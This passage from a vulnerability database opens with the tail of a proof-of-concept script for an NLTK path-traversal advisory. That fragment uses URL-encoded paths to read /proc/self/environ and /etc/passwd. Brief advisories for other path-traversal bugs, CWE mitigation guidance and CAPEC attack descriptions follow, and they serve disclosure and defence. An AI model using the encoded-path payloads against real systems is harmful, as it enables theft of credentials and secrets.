# --- Variant 4: Read process environment (credential leak) ---\n print(\"[4] Read /proc/self/environ (credential leakage)\")\n try:\n content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n print(f\" [VULN] Leaked {len(env_vars)} environment variables\")\n for var in env_vars[:3]:\n if var:\n key = var.split(\"=\")[0] if \"=\" in var else var\n print(f\" {key}=...\")\n vulns += 1\n except Exception as e:\n print(f\" [SAFE] Blocked: {e}\")\n\n print()\n\n # --- Control: verify normal traversal IS blocked ---\n print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n print()\n print(\"=\" * 51)\n print(f\" Result: {vulns} bypass variant(s) succeeded\")\n if vulns \u003e 0:\n print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n else:\n print(\" Status: Not vulnerable\")\n print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ \u2014 leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK\u0027s SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575",
"id": "GHSA-p4gq-832x-fm9v",
"modified": "2026-07-21T12:33:33Z",
"published": "2026-06-16T14:34:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54293"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3575"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-54293"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491486"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read"
}
GHSA-P4HP-FF28-FC27
Vulnerability from github – Published: 2022-12-28 18:30 – Updated: 2023-01-06 00:30Huawei Aslan Children's Watch has a path traversal vulnerability. Successful exploitation may allow attackers to access or modify protected system resources.
{
"affected": [],
"aliases": [
"CVE-2022-44564"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-28T18:15:00Z",
"severity": "HIGH"
},
"details": "Huawei Aslan Children\u0027s Watch has a path traversal vulnerability. Successful exploitation may allow attackers to access or modify protected system resources.",
"id": "GHSA-p4hp-ff28-fc27",
"modified": "2023-01-06T00:30:17Z",
"published": "2022-12-28T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44564"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20221102-01-d002dd8e-en"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P4HV-QFVV-VWC7
Vulnerability from github – Published: 2024-10-02 12:30 – Updated: 2026-04-01 18:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in MinHyeong Lim MH Board allows PHP Local File Inclusion.This issue affects MH Board: from n/a through 1.3.2.1.
{
"affected": [],
"aliases": [
"CVE-2024-44017"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-02T10:15:04Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in MinHyeong Lim MH Board allows PHP Local File Inclusion.This issue affects MH Board: from n/a through 1.3.2.1.",
"id": "GHSA-p4hv-qfvv-vwc7",
"modified": "2026-04-01T18:31:55Z",
"published": "2024-10-02T12:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44017"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/mh-board/vulnerability/wordpress-mh-board-plugin-1-3-2-1-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/mh-board/wordpress-mh-board-plugin-1-3-2-1-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.